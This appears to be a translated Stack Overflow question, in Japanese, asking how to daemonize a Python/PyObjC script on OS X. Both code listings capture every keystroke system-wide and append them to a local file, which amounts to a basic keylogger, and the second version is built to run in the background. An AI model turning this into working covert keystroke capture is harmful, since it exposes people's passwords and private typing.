0

重複の可能性:
OS X でバックグラウンドで Python を実行する

バックグラウンドで起動できる素敵なpythonスクリプトがあります。OS Xで動作するようにしたいのですが、それを行う方法がわかりません。ターミナルで「python myscript.py &」を起動することで、ある種の解決策を見つけましたが、実際にはバックグラウンドで実行されていません。デーモンについて多くのことを聞いてきましたが、非ネイティブ ライブラリを呼び出さずに、この小さなスクリプトでデーモンを実装する方法がよくわかりません。

スクリプトは次のとおりです。

#!/usr/bin/python2.6

from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []

class AppDelegate(NSObject):
    def applicationDidFinishLaunching_(self, aNotification):
        NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

def handler(event):
    global TABLE
    if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
        key =  keycode.tostring(event.keyCode())
        TABLE.append(key)
        print "lol"
        print TABLE
        if len(TABLE) > 10:
            for letter in TABLE:
                log = open("Analyzed.txt", "a")
                log.write(letter)
                log.close()
            TABLE = []

def main():
    app = NSApplication.sharedApplication()
    delegate = AppDelegate.alloc().init()
    NSApp().setDelegate_(delegate)
    AppHelper.runEventLoop()

if __name__ == '__main__':
   main()

私はそれを試しました:

#!/usr/bin/env python

import sys, time
from daemon import Daemon
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []

class MyDaemon(Daemon):
        def run(self):

            class AppDelegate(NSObject):
                def applicationDidFinishLaunching_(self, aNotification):
                    NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

            def handler(event):
                global TABLE
                if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
                    key =  keycode.tostring(event.keyCode())
                    TABLE.append(key)
                    print "lol"
                    print TABLE
                    if len(TABLE) > 10:
                        for letter in TABLE:
                            log = open("LOG_KEY.txt", "a")
                            log.write(letter)
                            log.close()
                        TABLE = []

            app = NSApplication.sharedApplication()
            delegate = AppDelegate.alloc().init()
            NSApp().setDelegate_(delegate)
            AppHelper.runEventLoop()

if __name__ == "__main__":
        daemon = MyDaemon('/tmp/carto_daemon.pid')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        print "Unknown command"
                        sys.exit(2)
                sys.exit(0)
        else:
                print "usage: %s start|stop|restart" % sys.argv[0]
                sys.exit(2)

デーモンがhttp://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/から来る場所

しかし、pythonはクラッシュするようです...

4

0 に答える 0